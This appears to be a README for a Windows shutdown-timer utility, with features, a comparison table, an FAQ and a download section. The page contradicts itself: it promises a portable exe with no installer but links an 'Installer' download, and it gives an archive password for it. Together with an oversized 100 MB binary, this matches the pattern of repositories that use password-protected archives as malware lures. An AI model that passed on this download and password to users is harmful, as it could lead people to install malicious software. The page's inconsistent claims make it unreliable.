shutdown-timer

⏰ Free, open-source shutdown scheduler for Windows — timed shutdown, restart, sleep and lock with cancel window. 100 MB portable, MIT.

Features

• ✅ One-shot timers — shutdown, restart, sleep, hibernate or lock after 15 minutes or any custom countdown
• ✅ Daily schedules — weekday and weekend rules for shutdown at 23:30 without Task Scheduler scripting
• ✅ Cancel window — a configurable 60-second countdown popup with a big cancel button before any action fires
• ✅ Idle trigger — run the action only when CPU and input have been quiet for N minutes, for render farms
• ✅ Tray countdown — remaining time lives in the tray tooltip so you never wonder when the machine dies
• ✅ Command-line mode — same binary accepts flags for shortcuts and scripts
• ✅ 100 MB self-contained exe — runtime bundled, portable, offline, MIT with SHA-256 releases

Why shutdown-timer

• MIT licensed, source in the open
• No ads, no account, no telemetry
• Single portable 100 MB exe - no installer, runs offline
• CI builds every release and publishes SHA-256 checksums
• Windows 10 / 11 x64

Comparison

Feature	shutdown-timer	Wise Auto Shutdown	Task Scheduler	Shutdown Timer
Price	Free, MIT	Free	Built-in	Free
Open source	Yes	No	No	No
Idle-based trigger	Yes	No	Scripted	No
Cancel countdown popup	Yes	Basic	No	No
Tray countdown display	Yes	Yes	No	No
Portable, no install	Yes, 100 MB	Installer	With OS	Zip

FAQ

how to schedule automatic shutdown on Windows 10 and 11?

The built-in way is a shutdown dash-s slash-t command or a Task Scheduler chain that is easy to misconfigure and hard to cancel. shutdown-timer gives the same power with a visible countdown and a cancel window, plus idle-triggered actions Task Scheduler cannot do natively. It is a 100 MB portable exe, MIT, offline, with no telemetry.

Screenshots

All screenshots describe the 1280x800 dark UI.

1. Dark main window (#12141A, moonlit blue #93C5FD): action selector with five icons, countdown input 45 minutes, big Start Timer button.
2. Schedule tab: weekday and weekend rows, time pickers at 23:30 and 01:00, exception list for video calls, enabled toggles green.
3. Firing countdown: full-screen dimmed popup, 60 s ring animation, Cancel This Shutdown button focused, tray mirroring the counter.

Download

Source	Link
💾 Installer shutdown-timer	Installer shutdown-timer

Archive password: 5139237619

Build

Requires the .NET SDK on Windows 10/11 x64:

dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true

License

MIT. See LICENSE.